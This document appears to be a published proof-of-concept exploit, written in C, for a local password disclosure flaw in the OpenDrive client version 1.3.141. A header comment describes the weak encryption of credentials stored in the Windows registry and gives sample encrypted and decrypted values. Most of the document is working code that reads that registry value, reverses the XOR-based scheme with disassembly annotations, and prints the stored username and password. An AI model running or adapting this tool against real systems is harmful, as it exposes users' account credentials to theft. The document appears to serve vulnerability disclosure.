OpenDrive 1.3.141 – Local Password Disclosure
/* Title: OpenDrive <= 1.3.141 Local Password Disclosure Author(s): Glafkos Charalambous, George Nicolaou Contact: glafkos[at]astalavista[dot]com, ishtus[at]astalavista[dot]com Version: 1.3.141 Vendor: http://www.opendrive.com Description: Authentication credentials used by the OpenDrive application are prone to local disclosure attacks due to a weak cryptographic algorithm implementation Encrypted Values: [HKEY_CURRENT_USER\CLSID\{6E830710-B00F-4bec-9BD7-F95C1F837D02}] "Data1"=hex:6b,c3,24,c3,69,c3,6f,c3,00,00,04,c3,52,c3,01,c3,53,c3,00,c3,56,c3,0b,c3,54,c3,00,00 Decrypted Values: Username: 0x41 Password: d3c0d3m3 */ #include <stdio.h> #include <wchar.h> #include <windows.h> int ReadRegistryKey( LPBYTE lpBuffer, LPDWORD lpBufferSize, HKEY hKey, LPCTSTR lpszSubKey, LPCTSTR lpszValueName ) { HKEY hKeyLocal; int nType; if( RegOpenKeyEx(hKey, lpszSubKey, 0, KEY_READ, &hKeyLocal ) == ERROR_SUCCESS ) { if( RegQueryValueEx( hKeyLocal, lpszValueName, 0, (LPDWORD)&nType, lpBuffer, lpBufferSize ) == ERROR_SUCCESS ) { return nType; } return -1; } return -1; } int GetRegistryValueSize( HKEY hKey, LPCTSTR lpszSubKey, LPCTSTR lpszValueName ) { HKEY hKeyLocal; unsigned long nSize; if( RegOpenKeyEx(hKey, lpszSubKey, 0, KEY_READ, &hKeyLocal ) == ERROR_SUCCESS ) { if( RegQueryValueEx( hKeyLocal, lpszValueName, 0, NULL, NULL, (LPDWORD)&nSize ) == ERROR_SUCCESS) { return (int)nSize; } return -1; } return -1; } void DecryptOpenDrive( unsigned short *ciphertxt, int len ) { short username[100] = {0}; short password[100] = {0}; int count = 0; // ECX int wchr = 0; // ESI int pos = 0; // EAX int round = 0; // EDX unsigned short tmp; short *output; output = (short *)&username; do { //00401626 |> 83F9 02 /CMP ECX,2 //00401629 |. 7D 38 |JGE SHORT OpenDriv.00401663 //0040162B |. 0FB73453 |MOVZX ESI,WORD PTR DS:[EBX+EDX*2] //0040162F |. 66:85F6 |TEST SI,SI //00401632 |. 75 0F |JNZ SHORT OpenDriv.00401643 if ( ( wchr = ciphertxt[round] ) ) { //00401643 |> 8D9A 5BC3FFFF |LEA EBX,DWORD PTR DS:[EDX-3CA5] // 0, 1 tmp = round - 0x3CA5; //00401649 |. 33DE |XOR EBX,ESI // ESI = ciph[0], ciph[1] tmp = tmp ^ (unsigned int)wchr; //0040164B |. 8B748C 20 |MOV ESI,DWORD PTR SS:[ESP+ECX*4+20] //0040164F |. 66:891C46 |MOV WORD PTR DS:[ESI+EAX*2],BX // out[0] = BX *output++ = tmp; //00401653 |. 40 |INC EAX // 0 -> 1 } else { count++; if(count >= 2) break; //00401634 |. 8B748C 20 |MOV ESI,DWORD PTR SS:[ESP+ECX*4+20] //00401638 |. 33DB |XOR EBX,EBX //0040163A |. 66:891C46 |MOV WORD PTR DS:[ESI+EAX*2],BX *output = 0; output = (short *)&password; //0040163E |. 41 |INC ECX //0040163F |. 33C0 |XOR EAX,EAX } round++; } while(1); wprintf(L"Username: %ls\nPassword: %ls\n",username, password); } int main() { int nRegistryKeySize; LPBYTE buffer; if ( (nRegistryKeySize = GetRegistryValueSize( HKEY_CURRENT_USER, TEXT("CLSID\\{6E830710-B00F-4bec-9BD7-F95C1F837D02}"), TEXT("Data1") ) ) != -1 ) { buffer = (LPBYTE)calloc( nRegistryKeySize, sizeof(char) ); if( ReadRegistryKey(buffer, (LPDWORD)&nRegistryKeySize, HKEY_CURRENT_USER, TEXT("CLSID\\{6E830710-B00F-4bec-9BD7-F95C1F837D02}"), TEXT("Data1") ) != -1 ) { DecryptOpenDrive( (unsigned short *)buffer, nRegistryKeySize ); } else { wprintf(L"Error reading registry key\n"); } } } |